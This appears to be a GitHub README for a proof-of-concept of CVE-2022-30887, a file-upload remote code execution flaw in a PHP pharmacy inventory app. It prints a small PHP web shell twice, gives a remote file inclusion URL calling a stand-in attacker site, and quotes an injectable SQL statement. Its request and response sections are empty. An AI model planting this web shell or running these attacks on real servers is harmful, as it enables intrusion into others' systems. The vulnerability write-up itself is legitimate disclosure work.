sonerctnkya/cve-2022-30887Proof-of-concept exploit for CVE-2022-30887, demonstrating remote code execution via file upload in Pharmacy Management System 1.0, with mitigation guidance.
This application built by Mayurik Pharmacy management system project in PHP has been developed to improve the accuracy and efficiency of pharmaceutical stores through security and management. In short, it is a product inventory application.
Pharmacy Management System v1.0 was discovered to contain a remote code execution (RCE) vulnerability via the component "/php_action/editProductImage.php". This vulnerability allows attackers to execute arbitrary code via a crafted image file.
File Upload vulnerabilities are usually a vulnerability that allows a script to run. It works when we upload the file to the server and enter a command on the uploaded file. File upload vulnerabilities are divided into two types;
This vulnerability occurs when the local files on the server include the file retrieved from the user. values received from the user must be sterilized.
Example of LFI (Local File Inclusion) ;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
This vulnerability works when the attacker upload malware from a remote server.
Example of RFI (Remote File Inclusion) ;
"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"
Example of php shell script;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
Request;
Response;
Request;
Response;
Also this vulnerability is still active on application.
In the same page which is "editproduct.php", I found stored xss
$sql = "UPDATE product SET product_name = '$productName'
In this code block you can go out of context with double quotes (")
I hope can tell how file inclusion vulnerability works, what or which situation trigger this vulnerability and how prevent this attack from attackers. Thanks for your precious time.